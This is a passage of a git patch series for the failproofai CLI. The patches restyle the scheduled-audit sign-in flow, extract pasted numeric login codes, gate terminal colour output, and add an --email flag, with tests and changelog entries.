CURRENT that was never migrated. `detectLayout()` + // reports `current`, no later command ever retries, and `auth.json` stays + // at the root while layout 4 reads `audit/session.json` — a machine + // silently signed out, with its session sitting on disk and nothing left + // that would ever move it. + // + // Only touched when the marker already claims the home is current, so a + // chain whose steps never got that far keeps whatever they left. `step.from` + // is where this one actually got to: every earlier step succeeded, and a + // failing step is documented not to roll back — which is exactly the state + // the next command should try to migrate again. + try { + const marker = readVersionFile(); + if (marker && marker.layout >= LAYOUT_VERSION) writeVersionFile({ layout: step.from }); + } catch { + // A marker we cannot rewrite leaves the home reading as whatever the last + // successful step claimed. Nothing further can be done about it here, and + // failing the run a second way would only hide the real error below. + } failed = { from: step.from, to: step.to, From b47fcacbf287dfa32f19cde63f985e22cd077235 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Sat, 15 Aug 2026 10:06:24 +0530 Subject: [PATCH 15/24] Give the schedule CLI's sign-in the frame the wizard uses MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The email and the code were four loose lines with no logo, no spine and no close — the one moment this command asks for something personal, looking like a different tool from `failproofai config`. They are now two steps of one flow in the same frame: logo, │ spine, ◆/◇ glyphs, pink └. The address is echoed back on the settled step. A typo in it is the likeliest reason no code ever arrives, and that step is the last place to notice before somebody starts waiting for one. **A pasted code works.** The code is numeric, so "Your failproof code is 123456", a copied "123 456", and a trailing space all resolve to the digits. Pasting the line out of the email was rejected for length before — and since the server answers a too-long code with `validation_error` rather than `invalid_code`, the retry loop treated it as fatal and the sign-in aborted for a fresh email. Input with no digits at all is refused at the prompt rather than spending one of the server's five attempts. Not masked, deliberately: a login code is single-use and expires in minutes, so hiding it protects nothing and costs the only thing that matters there — seeing your own typo before you press enter. The prompt's hint now steps aside as soon as you type. It is a placeholder, and a placeholder sitting beside a real answer is the arrangement most likely to make somebody wonder which one is theirs. `--schedule` and `--no-schedule` speak the same vocabulary, and the frame appears only when a flow actually happened — signing in draws it; an already-signed-in machine gets a compact confirmation, because a spine with no beginning reads as an unfinished wizard. `--status` stays a two-column readout for that reason: it is a snapshot, not a flow. Its colour now answers to the same `colorsEnabled` gate as the rest, where it used to emit ANSI into piped output with no structure to go with it. New in the toolkit: `step`/`stepOpen` (the settled and open blocks `selectOne` already drew privately) and `PromptTextOptions.prefix`, so a prompt can sit on the spine — part of its own line, because the prompt erases that row on every keystroke and anything written there beforehand is gone by the first character. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + __tests__/audit/cli-login.test.ts | 64 +++++++++++-- src/audit/cli-login.ts | 152 ++++++++++++++++++++++++------ src/audit/schedule-cli.ts | 138 ++++++++++++++++++++------- src/hooks/tui.ts | 64 ++++++++++++- 5 files changed, 348 insertions(+), 72 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 285c0375..788e4714 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Features +- Give the schedule CLI's sign-in the frame `failproofai config` uses — the logo, the `│` spine, `◆`/`◇` step glyphs and a pink `└` close — because it is the same product asking, and the one moment this command asks for something personal. The email and the code now read as two steps of one flow rather than four loose lines, with the address echoed back on the settled step: a typo there is the likeliest reason no code arrives, and that is the last place to notice it before somebody starts waiting. **A pasted code just works.** The code is numeric, so "Your failproof code is 123456", a copied "123 456" and a stray trailing space all resolve to the digits — pasting the line out of the email was previously rejected for length, and because the server answers a too-long code with `validation_error` rather than `invalid_code`, the retry loop treated it as fatal and the whole sign-in aborted for a fresh email. Input with no digits at all is refused at the prompt rather than spending one of the server's five attempts. It is deliberately NOT masked: a login code is single-use and expires in minutes, so hiding it protects nothing and costs the only thing that matters at that prompt — seeing your own typo before pressing enter. The prompt's hint now steps aside once you type, since a placeholder sitting beside a real answer is the arrangement most likely to make somebody wonder which is theirs. `--schedule` and `--no-schedule` report through the same vocabulary, and the frame appears only when a flow actually happened: signing in draws it, an already-signed-in machine gets a compact confirmation instead, because a spine with no beginning reads as an unfinished wizard. `--status` keeps a two-column readout for the same reason — it is a snapshot, not a flow — and its colour now answers to the same `colorsEnabled` gate as everything else, where before it emitted ANSI into piped output that had no structure to go with it. (#698) + - Offer the way forward when a stored session turns out to be dead, and name the machine's name as something that leaves the box. Turning scheduled audits on asks the api-server who you are, while the page reads "reports go to …" from the local session file — so the two disagree exactly when a session has expired or was minted against a different server, which is the common case rather than an edge one. The click then took the signed-in path and dead-ended on "could not turn that on." with no dialog and no next step. The refusal could not simply be caught and inspected either: **Next masks a thrown server-action error before the browser sees it**, so the client gets an opaque digest and never the message — matching on the text would have worked in development and silently degraded to a generic failure in production, which is precisely what shipped. `setAutoAuditAction` now RETURNS `{ok: false, reason: "signed-out"}`, a discriminant that survives the boundary, and the page re-reads before opening the sign-in dialog so it stops displaying an address while asking for one. Turning scheduling OFF is still never refused — an expired session must not trap somebody into keeping a feature they are trying to disable. Separately, the settings panel's **sends** line stops saying "only counts and redacted examples": the report carries the machine's name too — its hostname, which routinely carries its owner's — and very nearly true is the worse kind of claim when the reader can check it against the same email. It now enumerates all three, in the same order the digest does. (#698) - Make a section eyebrow one colour, and drop the one on `/settings`. The label read `━━ audit · first run` in three colours — a pink rule, a dim dot, mint text — which presented one fact as three things happening on a line. `.section-label .glyph` was ALSO declared twice, in `globals.css` and again in `audit/audit-styles.css`, and the audit copy loads second: the first fix changed the value nobody was reading, and the page kept rendering the old colour. Both now inherit, so the label is a single colour and the two files cannot drift apart again silently. `/settings` loses its `━━ this machine ━━` eyebrow entirely — the h1 says "settings" and the page is about this machine either way — and its tagline becomes "keeping watch, so you don't have to." (#698) diff --git a/__tests__/audit/cli-login.test.ts b/__tests__/audit/cli-login.test.ts index effde68e..a823e24f 100644 --- a/__tests__/audit/cli-login.test.ts +++ b/__tests__/audit/cli-login.test.ts @@ -17,7 +17,14 @@ const { promptTextMock, requestMock, verifyMock, writeAuthMock } = vi.hoisted(() writeAuthMock: vi.fn(), })); -vi.mock("../../src/hooks/tui", () => ({ promptText: promptTextMock })); +// PARTIAL: the flow draws its frame with the real `intro`/`step`/`outro`, and +// only the prompt is stood in for. A wholesale mock had to be extended every +// time the flow used one more thing from the toolkit, and each time it failed +// as "no export is defined" rather than as anything about the login. +vi.mock("../../src/hooks/tui", async (orig) => ({ + ...(await orig()), + promptText: promptTextMock, +})); vi.mock("../../lib/auth/api-server-client", async (orig) => ({ ...(await orig()), requestLoginCode: requestMock, @@ -28,12 +35,15 @@ vi.mock("../../lib/auth/auth-store", async (orig) => ({ writeAuth: writeAuthMock, })); -import { runLogin } from "../../src/audit/cli-login"; +import { runLogin, extractCode } from "../../src/audit/cli-login"; import { AuthApiError } from "../../lib/auth/api-server-client"; /** The `validate` the code prompt was handed, so it can be exercised directly. */ function codeValidator(): (v: string) => string | null { - const call = promptTextMock.mock.calls.find(([opts]) => opts.message === "the code"); + // The prompt's own label is just "code" — the question it answers lives on + // the step heading above it ("the code from that email"), so the input line + // stays short enough to sit beside a pasted value at 80 columns. + const call = promptTextMock.mock.calls.find(([opts]) => opts.message === "code"); expect(call, "the code prompt was never reached").toBeDefined(); return call![0].validate; } @@ -74,13 +84,25 @@ describe("the code prompt", () => { await runLogin(); const validate = codeValidator(); - expect(validate("Your code is 123456")).toMatch(/paste just the code/i); - expect(validate("1234567890123")).toBeTruthy(); - // And the ordinary six digits still pass, plus the boundary either side. + + // A pasted line is ACCEPTED now — the digits are pulled out of it. This + // used to be rejected for length, which is what made pasting the message + // out of the email cost a fresh code. + expect(validate("Your code is 123456")).toBeNull(); + expect(validate("code: 123 456")).toBeNull(); + + // What is still refused is a digit run the server would answer with + // `validation_error` rather than `invalid_code` — a distinction the retry + // loop treats as fatal, so it is caught here where it can be retyped. + expect(validate("1234567890123")).toMatch(/too long/i); + expect(validate("123")).toMatch(/too short/i); + // And no digits at all is not a code, so it never spends an attempt. + expect(validate("where is it")).toMatch(/digits/i); + + // The ordinary six, and the boundary either side. expect(validate("123456")).toBeNull(); expect(validate("1234")).toBeNull(); expect(validate("123456789012")).toBeNull(); - expect(validate("123")).toBeTruthy(); }); }); @@ -117,3 +139,31 @@ describe("the retry loop", () => { expect(writeAuthMock).not.toHaveBeenCalled(); }); }); + +describe("extractCode", () => { + it("takes the digits out of a pasted line", () => { + // The code is numeric (`auth/otp.rs` generates digits only), so anything + // else in the field is packaging. Rejecting it cost a fresh email. + expect(extractCode("Your failproof code is 123456")).toBe("123456"); + expect(extractCode("code: 123456")).toBe("123456"); + expect(extractCode("123 456")).toBe("123456"); + expect(extractCode(" 123456 ")).toBe("123456"); + expect(extractCode("123456 ")).toBe("123456"); + }); + + it("passes a clean code through untouched", () => { + expect(extractCode("123456")).toBe("123456"); + expect(extractCode("0000")).toBe("0000"); + }); + + it("does not rewrite a digit-less string into something else", () => { + // A field with no digits is not a mistyped code; it is returned as typed so + // the caller can reject it rather than sending an invented one. + expect(extractCode("hunter2".replace(/\d/g, ""))).toBe("hunter"); + expect(extractCode(" ")).toBe(""); + }); + + it("keeps leading zeros, which a numeric parse would eat", () => { + expect(extractCode("code 007123")).toBe("007123"); + }); +}); diff --git a/src/audit/cli-login.ts b/src/audit/cli-login.ts index 07983a25..6d4ce0ae 100644 --- a/src/audit/cli-login.ts +++ b/src/audit/cli-login.ts @@ -15,15 +15,76 @@ */ import { AuthApiError, requestLoginCode, verifyLoginCode } from "../../lib/auth/api-server-client"; import { authFromTokenResponse, readAuth, writeAuth } from "../../lib/auth/auth-store"; -import { promptText } from "../hooks/tui"; +import { + ANSI_RESET, + BAR, + colorsEnabled, + intro, + outro, + promptText, + step, + stepOpen, +} from "../hooks/tui"; const EMAIL_RE = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; +/** + * The api-server's own bound on a submitted code (`auth/models.rs`). Matched + * here so a paste that is obviously too long is rejected at the prompt, where + * it can be retyped, rather than by the server — which answers + * `validation_error` rather than `invalid_code`, a distinction the retry loop + * below treats as fatal. + */ +const CODE_MIN = 4; +const CODE_MAX = 12; + +/** + * The spine a prompt hangs off, so the two questions sit inside the same frame + * `intro`/`outro` draw. Empty when colour is off or output is piped: the frame + * is decoration, and a log file should not collect box-drawing characters. + */ +function spine(): string { + return colorsEnabled(process.stdout) + ? `${ANSI_DIM_BAR}${BAR}${ANSI_RESET} ` + : ""; +} +const ANSI_DIM_BAR = "\x1B[2m"; + +/** + * Codes are numeric (`auth/otp.rs` generates digits only), so anything else in + * the field is packaging: "Your failproof code is 123456", a copied "123 456", + * a stray trailing space from a double-click selection. Keeping the digits is + * the difference between a paste that works and one that costs a fresh email. + * + * Applied only when the input HAS digits and something else — a field of pure + * digits passes through untouched, so a genuinely wrong code is still reported + * as wrong rather than silently rewritten into a different one. + */ +export function extractCode(raw: string): string { + const trimmed = raw.trim(); + if (/^\d+$/.test(trimmed)) return trimmed; + const digits = trimmed.replace(/\D+/g, ""); + return digits.length > 0 ? digits : trimmed; +} + export interface SignedIn { id: string; email: string; } +/** + * Whether a sign-in flow actually ran. + * + * The caller uses it to decide whether its confirmation continues an open frame + * or stands on its own: the `│` spine means "a flow is happening", so printing + * one under a command that answered instantly from the session file would be a + * frame with no beginning. + */ +export interface EnsureSignedIn { + user: SignedIn; + prompted: boolean; +} + export class LoginError extends Error {} /** @@ -46,9 +107,9 @@ export function canPrompt(): boolean { * the reporting path's problem, and it already handles that by pausing digests * rather than failing. */ -export async function ensureSignedIn(): Promise { +export async function ensureSignedIn(): Promise { const existing = readAuth(); - if (existing) return existing.user; + if (existing) return { user: existing.user, prompted: false }; if (!canPrompt()) { throw new LoginError( @@ -58,68 +119,99 @@ export async function ensureSignedIn(): Promise { ); } - return runLogin(); + return { user: await runLogin(), prompted: true }; } -/** The two prompts. Exported so a test can drive it without the caller. */ +/** + * The two prompts, inside the frame `failproofai config` uses. + * + * Same logo, same `│` spine, same `◆ / ◇` step glyphs, same pink `└` close — + * because this is the same product asking, and a sign-in that looked like a + * different tool would be the one moment the seam showed. It is also the only + * moment this command asks for something personal, which is the moment worth + * spending the frame on. + * + * Exported so a test can drive it without the caller. + */ export async function runLogin(): Promise { - process.stdout.write("\nScheduled audits email you when a scan finds something,\nso this needs an address to send to.\n\n"); + intro("scheduled audits need somewhere to send the report"); const email = await promptText({ + prefix: spine(), message: "your email", hint: "you@yourdomain.com", validate: (v) => (EMAIL_RE.test(v.trim()) ? null : "that doesn't look like an email"), }); - if (email === null) throw new LoginError("Cancelled."); + if (email === null) { + outro("Cancelled — nothing was changed.", { ok: false }); + throw new LoginError("Cancelled."); + } const address = email.trim().toLowerCase(); + let expiresInMin = 10; try { const sent = await requestLoginCode(address); - process.stdout.write( - `\nCode sent to ${address}. It expires in ${Math.ceil(sent.expires_in / 60)} minutes.\n\n`, - ); + expiresInMin = Math.max(1, Math.ceil(sent.expires_in / 60)); } catch (err) { + outro("Could not send a login code.", { ok: false }); throw new LoginError(describeAuthError(err, "Could not send a login code")); } + // The address is echoed back on the settled step rather than left to memory: + // a typo in it is the single most likely reason no code arrives, and this is + // the last place it can be noticed before somebody starts waiting. + step("code sent", `to ${address} · expires in ${expiresInMin} min`); + // Three attempts, matching the server's own per-code cap. Looping forever // would keep a person typing at a code the server stopped accepting after // the fifth try, and one attempt would punish a typo with a fresh email. - for (let attempt = 1; attempt <= 3; attempt += 1) { - const code = await promptText({ - message: "the code", - hint: "123456", - // Bounded at BOTH ends, and the upper one is not cosmetic. The api-server - // validates the code as 4..12 characters, and a longer one fails - // validation rather than verification — it comes back as - // `validation_error`, not `invalid_code`, so the retry below does not - // recognise it and the whole sign-in aborts. Pasting the sentence around - // the code out of the email, rather than just the digits, is the ordinary - // way to hit that, and losing the login to it would send a second code - // for a first one that was never wrong. + const ATTEMPTS = 3; + for (let attempt = 1; attempt <= ATTEMPTS; attempt += 1) { + stepOpen(attempt === 1 ? "the code from that email" : "try that code again"); + const typed = await promptText({ + prefix: spine(), + message: "code", + // Unmasked on purpose. A login code is single-use and expires in minutes, + // so hiding it protects nothing and costs the one thing that matters at + // this prompt: seeing your own typo before pressing enter. + hint: + attempt === 1 + ? "123456 · paste the whole line if you like" + : `attempt ${attempt} of ${ATTEMPTS}`, validate: (v) => { - const trimmed = v.trim(); - if (trimmed.length < 4) return "codes are at least 4 characters"; - if (trimmed.length > 12) return "that's longer than a code — paste just the code itself"; + // No digits at all is not a mistyped code, it is not a code — caught + // here rather than spent as one of the server's five attempts. + if (!/\d/.test(v)) return "a code is digits — paste the line from the email"; + const code = extractCode(v); + if (code.length < CODE_MIN) return "that looks too short to be the code"; + if (code.length > CODE_MAX) return "that looks too long — paste just the code"; return null; }, }); - if (code === null) throw new LoginError("Cancelled."); + if (typed === null) { + outro("Cancelled — nothing was changed.", { ok: false }); + throw new LoginError("Cancelled."); + } try { - const tokens = await verifyLoginCode(address, code.trim()); + const tokens = await verifyLoginCode(address, extractCode(typed)); writeAuth(authFromTokenResponse(tokens)); - process.stdout.write(`\nSigned in as ${tokens.user.email}.\n`); + step("signed in", tokens.user.email); return { id: tokens.user.id, email: tokens.user.email }; } catch (err) { const wrongCode = err instanceof AuthApiError && err.code === "invalid_code"; - if (wrongCode && attempt < 3) { - process.stderr.write("That code is wrong or expired. Try again.\n\n"); + if (wrongCode && attempt < ATTEMPTS) { + step( + "that code was wrong or expired", + `${ATTEMPTS - attempt} more ${ATTEMPTS - attempt === 1 ? "try" : "tries"} before it asks for a new one`, + ); continue; } + outro("Could not verify that code.", { ok: false }); throw new LoginError(describeAuthError(err, "Could not verify that code")); } } + outro("Too many wrong codes.", { ok: false }); throw new LoginError("Too many wrong codes. Run the command again for a fresh one."); } diff --git a/src/audit/schedule-cli.ts b/src/audit/schedule-cli.ts index 8c76b54b..7c376ad6 100644 --- a/src/audit/schedule-cli.ts +++ b/src/audit/schedule-cli.ts @@ -31,7 +31,15 @@ import { readAuditSchedule } from "./audit-schedule"; import { readDashboardCacheMeta } from "./dashboard-cache"; import { readMachineIdentity } from "./machine-store"; import { ensureSignedIn, LoginError } from "./cli-login"; -import { ANSI_DIM, ANSI_RESET, brandAnsi } from "../hooks/tui"; +import { + ANSI_BOLD, + ANSI_DIM, + ANSI_RESET, + brandAnsi, + colorsEnabled, + outro, + step, +} from "../hooks/tui"; /** Mirrors `fp-config`'s own bounds so the error can name them before writing. */ const MIN_DAYS = 1; @@ -39,9 +47,44 @@ const MAX_DAYS = 90; export class ScheduleCliError extends Error {} -const pink = (s: string) => `${brandAnsi("pink")}${s}${ANSI_RESET}`; -const green = (s: string) => `${brandAnsi("guide")}${s}${ANSI_RESET}`; -const dim = (s: string) => `${ANSI_DIM}${s}${ANSI_RESET}`; +/** + * Colour and the spine answer to ONE gate, checked at call time. + * + * They used to disagree: these helpers emitted ANSI unconditionally while the + * frame asked `colorsEnabled`, so a piped `--status` came out as escape codes + * with no structure — the worst of both. `colorsEnabled` is false off a TTY and + * under `NO_COLOR`, which is exactly when a readout should be plain text. + */ +const styled = () => colorsEnabled(process.stdout); +const wrap = (open: string, s: string) => (styled() ? `${open}${s}${ANSI_RESET}` : s); +const pink = (s: string) => wrap(brandAnsi("pink"), s); +const green = (s: string) => wrap(brandAnsi("guide"), s); +const dim = (s: string) => wrap(ANSI_DIM, s); +const bold = (s: string) => wrap(ANSI_BOLD, s); + +/** + * The readout's left margin. + * + * Deliberately NOT the `│` spine the sign-in uses. A spine means "a flow is + * happening, with a beginning and an end"; `--status` is a snapshot of a + * machine, and hanging one off a frame that never opened reads as an unfinished + * wizard. Alignment does the work here instead. + */ +const rail = () => " "; + +/** + * One labelled row of the `--status` readout. + * + * A fixed label column so the values line up into a second column that can be + * read straight down — the whole point of this command is answering "what is + * this machine doing" at a glance, and a ragged left edge makes four facts read + * as four sentences. + */ +const LABEL_WIDTH = 15; +function row(label: string, value: string, note?: string): string { + const gap = " ".repeat(Math.max(1, LABEL_WIDTH - label.length)); + return `${rail()} ${dim(label)}${gap}${value}${note ? ` ${dim(note)}` : ""}`; +} /** * Turn scheduled audits on, signing in first if needed. @@ -73,36 +116,61 @@ export async function runScheduleOn(daysArg: string | undefined): Promise days = parsed; } - const user = await ensureSignedIn(); + const { user, prompted } = await ensureSignedIn(); const next = updateConfig({ audit: { auto: true, ...(days !== undefined ? { intervalDays: days } : {}) }, }); const interval = next.audit.intervalDays; - process.stdout.write( - `\n${green("✓")} Scheduled audits are on.\n` + - ` Scanning every ${interval} day${interval === 1 ? "" : "s"}, ` + - `emailing ${user.email} when a scan finds something harmful.\n`, - ); + // Two rows rather than one long one: at 80 columns the combined sentence + // wrapped, and a wrapped summary loses the spine on its second row. + const summary = [ + `every ${interval} day${interval === 1 ? "" : "s"} · reports to ${user.email}`, + "you only hear from it when a scan finds something harmful", + ]; + + if (prompted) { + // A sign-in just drew the frame, so the result continues it and the `└` + // closes both at once — rather than the frame ending and a loose line + // appearing underneath. + step("scheduled audits are on", summary); + } else { + // Nothing was asked, so nothing was a flow: a spine here would open a frame + // that has no beginning. + process.stdout.write( + `\n${green("✓")} ${bold("scheduled audits are on")}\n` + + summary.map((r) => ` ${dim(r)}\n`).join(""), + ); + } // The switch is config; whether anything RUNS is the daemon. Saying "on" // without checking would be the same "on but silent" state the settings panel // exists to make visible. warnIfDaemonWontRun(); - process.stdout.write(dim(`\n failproofai audit --status to see when the next scan is due\n`)); + + if (prompted) { + outro("failproofai audit --status · when the next scan is due"); + } else { + process.stdout.write(dim(`\n failproofai audit --status when the next scan is due\n\n`)); + } } export function runScheduleOff(): void { const before = readConfig().audit.auto; const next = updateConfig({ audit: { auto: false } }); + if (next.audit.auto) { + process.stdout.write("Could not turn scheduled audits off.\n"); + return; + } + if (!before) { + process.stdout.write(dim("\nScheduled audits were already off.\n\n")); + return; + } process.stdout.write( - next.audit.auto - ? "Could not turn scheduled audits off.\n" - : before - ? `\n${green("✓")} Scheduled audits are off. Nothing runs on a timer and nothing is sent.\n` + - dim(" Your session is untouched — sign out from the dashboard if you want that too.\n") - : "\nScheduled audits were already off.\n", + `\n${green("✓")} ${bold("scheduled audits are off")}\n` + + ` ${dim("nothing runs on a timer and nothing is sent")}\n` + + ` ${dim("your session is untouched — sign out from the dashboard for that")}\n\n`, ); } @@ -123,39 +191,45 @@ export function runScheduleStatus(): void { const daemon = daemonServiceStatus(); const on = config.audit.auto; - const out: string[] = []; - - out.push(""); - out.push(` ${pink("scheduled audit")} ${on ? green("on") : dim("off")}`); - if (on) { - out.push(` ${dim("every")} ${config.audit.intervalDays} days`); - } + const out: string[] = [""]; + // The state first and alone, in the accent that matches it — everything below + // is detail about a machine that is either doing this or not, and reading the + // detail first is reading the answer to a question nobody asked yet. out.push( - ` ${dim("reports to")} ${auth ? auth.user.email : dim("— signed out")}`, + `${rail()} ${bold("scheduled audit")} ${on ? green("on") : dim("off")}` + + (on ? dim(` every ${config.audit.intervalDays} days`) : ""), ); + out.push(rail()); + + out.push(row("reports to", auth ? auth.user.email : dim("— signed out"))); if (on && !auth) { // The state the reporter surfaces as "signed-out". Named here for the same // reason the settings panel names it: the scans keep running, so silence // about the digests would look like the feature failing. - out.push(` ${pink("scans continue; digests are paused until you sign in")}`); + out.push(row("", pink("scans continue; digests are paused until you sign in"))); } - out.push(` ${dim("daemon")} ${describeDaemon(daemon)}`); + out.push(row("daemon", describeDaemon(daemon))); if (sched?.nextDueAtMs != null && on) { - out.push(` ${dim("next scan")} ${untilPhrase(sched.nextDueAtMs)}`); + out.push(row("next scan", untilPhrase(sched.nextDueAtMs))); } if (sched?.lastRunAtMs != null) { const exit = sched.lastExitCode; - const suffix = exit != null && exit !== 0 && exit !== 75 ? pink(` (exit ${exit})`) : ""; - out.push(` ${dim("last scheduled")} ${agoPhrase(sched.lastRunAtMs)}${suffix}`); + out.push( + row( + "last scheduled", + agoPhrase(sched.lastRunAtMs), + exit != null && exit !== 0 && exit !== 75 ? pink(`exit ${exit}`) : undefined, + ), + ); } out.push( - ` ${dim("last result")} ${meta?.cachedAt ? agoPhrase(Date.parse(meta.cachedAt)) : dim("none yet")}`, + row("last result", meta?.cachedAt ? agoPhrase(Date.parse(meta.cachedAt)) : dim("none yet")), ); if (machine?.last_reported_at) { - out.push(` ${dim("last reported")} ${agoPhrase(Date.parse(machine.last_reported_at))}`); + out.push(row("last reported", agoPhrase(Date.parse(machine.last_reported_at)))); } out.push(""); diff --git a/src/hooks/tui.ts b/src/hooks/tui.ts index 88c984a0..93d28d56 100644 --- a/src/hooks/tui.ts +++ b/src/hooks/tui.ts @@ -361,6 +361,48 @@ export function renderLaunchBanner(version: string, stdout: TTYOut = process.std ]; } +/** + * Print a step that is already SETTLED — the `◇ / message / summary` block + * `selectOne` leaves behind when it resolves. + * + * Extracted because a flow assembled out of `promptText` had no way to show its + * own history: `intro` opens the spine and `outro` closes it, and everything in + * between was bare lines that made the frame look like it belonged to a + * different command. `summary` is the answer, dimmed under the question, which + * is what makes a completed step readable at a glance rather than a heading + * with nothing under it. + */ +export function step( + message: string, + summary?: string | string[], + stdout: TTYOut = process.stdout, +): void { + const c = paint(colorsEnabled(stdout)); + const rows = summary === undefined ? [] : Array.isArray(summary) ? summary : [summary]; + if (!stdout.isTTY) { + if (rows.length) stdout.write(`${message}: ${rows.join(" ")}\n`); + return; + } + // Truncated to the terminal, because a summary that wraps loses the spine on + // its second row and the block stops reading as one step. + const cols = stdout.columns || 80; + const lines = [c.dim(BAR), truncate(`${c.dim(STEP_DONE)} ${message}`, cols - 1)]; + for (const r of rows) lines.push(truncate(`${c.dim(BAR)} ${c.dim(r)}`, cols - 1)); + writeLines(stdout, lines); +} + +/** + * Open a step and leave the cursor on it, for a prompt that draws its own line. + * + * The counterpart to {@link step}: `◆` in teal with the question in bold, then + * a spine row the prompt is expected to hang off via `PromptTextOptions.prefix`. + */ +export function stepOpen(message: string, stdout: TTYOut = process.stdout): void { + const c = paint(colorsEnabled(stdout)); + if (!stdout.isTTY) return; + writeLines(stdout, [c.dim(BAR), `${c.guide(STEP_ACTIVE)} ${c.bold(message)}`]); +} + /** Close the flow with a terminating └ line — pink on success, dim on cancel. */ export function outro( message: string, @@ -724,6 +766,16 @@ export function multiSelect(opts: MultiSelectOptions): Promise { const draw = (error?: string) => { const cols = stdout.columns || 80; const shown = opts.mask ? "•".repeat(value.length) : value; - const hint = opts.hint ? ` ${c.dim(opts.hint)}` : ""; + // The hint is a PLACEHOLDER — an example of what belongs here — so it + // steps aside as soon as there is a real answer to look at. Keeping both + // on one line put the example and the input side by side, which is the + // arrangement most likely to make somebody wonder which one is theirs. + const hint = opts.hint && value.length === 0 ? ` ${c.dim(opts.hint)}` : ""; // Truncate to ONE physical row. `\r\x1b[2K` erases the row the cursor is // on and nothing above it — so a line wider than the terminal wraps, the // erase reaches only its last row, and every keystroke leaves the earlier @@ -791,8 +847,10 @@ export function promptText(opts: PromptTextOptions): Promise { // stacked copies of the prompt: `API key for ` plus the masked // value plus the `needs events:add · policies:pull …` hint is past 80 // columns before the key is even half typed. - const line = truncate(`${c.bold(opts.message)} ${shown}${hint}`, cols - 1); - const err = error ? `\n ${truncate(c.warn(error), cols - 3)}` : ""; + const line = truncate(`${opts.prefix ?? ""}${c.bold(opts.message)} ${shown}${hint}`, cols - 1); + const err = error + ? `\n${opts.prefix ?? " "}${truncate(c.warn(error), cols - 3)}` + : ""; stdout.write(`\r\x1b[2K${line}${err}`); if (err) stdout.write("\x1b[1A"); }; From 280e835303f78dd724f7d8fc01fd4bc486f1fa92 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Sat, 15 Aug 2026 10:39:42 +0530 Subject: [PATCH 16/24] Answer the email question up front with --schedule --email MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signing in asked two questions, and only one of them needs a person at that moment. `--schedule --email you@yourdomain.com` answers the first, leaving the code — which has to be read out of a mailbox, and which no flag can shortcut. The address is validated at the CLI boundary, beside the day count, so a typo fails as a usage error before a frame is drawn or a code is sent. It is still shown as a settled step: a flag is exactly where a wrong address hides, and that step is the last place to notice before somebody waits for mail that is going elsewhere. A DIFFERENT address on a machine that is already signed in is refused, naming both and how to switch. Where a machine's digests go is not a thing a flag should change quietly — that is the sort of change nobody notices until the mail stops. The same address proceeds without prompting, compared case-insensitively because a mail server does. No `--code` flag, deliberately. It would land in shell history and sit in `ps` for every other user on the machine, and a short life is not the same as harmless. The argument parser is positional now. It matched values against a set of seen strings, which cannot tell one flag's argument from another's. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + __tests__/audit/cli-login.test.ts | 24 ++++++++++ __tests__/audit/schedule-cli.test.ts | 46 +++++++++++++++++++ bin/failproofai.mjs | 3 +- src/audit/cli-login.ts | 69 ++++++++++++++++++++++------ src/audit/cli.ts | 51 +++++++++++++++----- src/audit/schedule-cli.ts | 17 +++++-- 7 files changed, 181 insertions(+), 31 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 788e4714..7d84c48c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Features +- Add `failproofai audit --schedule [days] --email you@yourdomain.com`, so signing in is one command and then the code. The flag answers the first of the two questions up front; the second still happens at a prompt, because a one-time code has to be read out of a mailbox by a person and no flag changes that. Both `--email addr` and `--email=addr` parse, and the address is validated at the CLI boundary beside the day count — before a frame is drawn or a code is sent, so a typo reads as a usage error rather than as a sign-in that opened and gave up. It is still SHOWN as a settled step, since a flag is exactly where a wrong address hides and that step is the last place to catch it before somebody starts waiting for mail. **A different address on a machine that is already signed in is refused**, naming both and how to switch: where a machine's digests go is not something a flag should change quietly, because nobody notices until they stop arriving. The same address is a no-op that proceeds without prompting, compared case-insensitively as a mail server would. Deliberately NOT added: a `--code` flag. It would land in shell history and sit in `ps` for every other user on the box, and the code is short-lived rather than harmless. The argument parser is positional now, too — it matched values against a set of seen strings, which cannot tell one flag's argument from another's. (#698) + - Give the schedule CLI's sign-in the frame `failproofai config` uses — the logo, the `│` spine, `◆`/`◇` step glyphs and a pink `└` close — because it is the same product asking, and the one moment this command asks for something personal. The email and the code now read as two steps of one flow rather than four loose lines, with the address echoed back on the settled step: a typo there is the likeliest reason no code arrives, and that is the last place to notice it before somebody starts waiting. **A pasted code just works.** The code is numeric, so "Your failproof code is 123456", a copied "123 456" and a stray trailing space all resolve to the digits — pasting the line out of the email was previously rejected for length, and because the server answers a too-long code with `validation_error` rather than `invalid_code`, the retry loop treated it as fatal and the whole sign-in aborted for a fresh email. Input with no digits at all is refused at the prompt rather than spending one of the server's five attempts. It is deliberately NOT masked: a login code is single-use and expires in minutes, so hiding it protects nothing and costs the only thing that matters at that prompt — seeing your own typo before pressing enter. The prompt's hint now steps aside once you type, since a placeholder sitting beside a real answer is the arrangement most likely to make somebody wonder which is theirs. `--schedule` and `--no-schedule` report through the same vocabulary, and the frame appears only when a flow actually happened: signing in draws it, an already-signed-in machine gets a compact confirmation instead, because a spine with no beginning reads as an unfinished wizard. `--status` keeps a two-column readout for the same reason — it is a snapshot, not a flow — and its colour now answers to the same `colorsEnabled` gate as everything else, where before it emitted ANSI into piped output that had no structure to go with it. (#698) - Offer the way forward when a stored session turns out to be dead, and name the machine's name as something that leaves the box. Turning scheduled audits on asks the api-server who you are, while the page reads "reports go to …" from the local session file — so the two disagree exactly when a session has expired or was minted against a different server, which is the common case rather than an edge one. The click then took the signed-in path and dead-ended on "could not turn that on." with no dialog and no next step. The refusal could not simply be caught and inspected either: **Next masks a thrown server-action error before the browser sees it**, so the client gets an opaque digest and never the message — matching on the text would have worked in development and silently degraded to a generic failure in production, which is precisely what shipped. `setAutoAuditAction` now RETURNS `{ok: false, reason: "signed-out"}`, a discriminant that survives the boundary, and the page re-reads before opening the 